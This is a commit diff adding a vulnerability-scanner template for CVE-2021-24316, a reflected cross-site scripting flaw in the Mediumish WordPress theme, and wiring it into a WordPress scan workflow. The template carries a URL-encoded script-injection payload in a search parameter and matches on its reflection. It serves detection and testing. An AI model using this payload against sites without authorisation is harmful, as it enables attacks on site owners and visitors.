Merge pull request #1626 from Akokonunes/patch-2

Create CVE-2021-24316.yaml

cves/2021/CVE-2021-24316.yaml

@@ -0,0 +1,34 @@
+id: CVE-2021-24316
+
+info:
+  author: 0x_Akoko
+  description: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS.
+  name: An Unauthenticated Reflected XSS & XFS Mediumish theme through 1.0.47 for WordPress
+  severity: medium
+  tags: cve,cve2021,mediumish,xss,wordpress
+  reference: |
+      - https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
+      - https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E '
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<script>alert(/{{randstr}}/)</script>"
+          - "Sorry, no posts matched your criteria."
+        part: body
+        condition: and
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

workflows/wordpress-workflow.yaml

@@ -32,4 +32,5 @@ workflows:
           - template: cves/2020/CVE-2020-35489.yaml
           - template: cves/2021/CVE-2021-24146.yaml
           - template: cves/2021/CVE-2021-24176.yaml
+          - template: cves/2021/CVE-2021-24316.yaml
           - template: vulnerabilities/wordpress/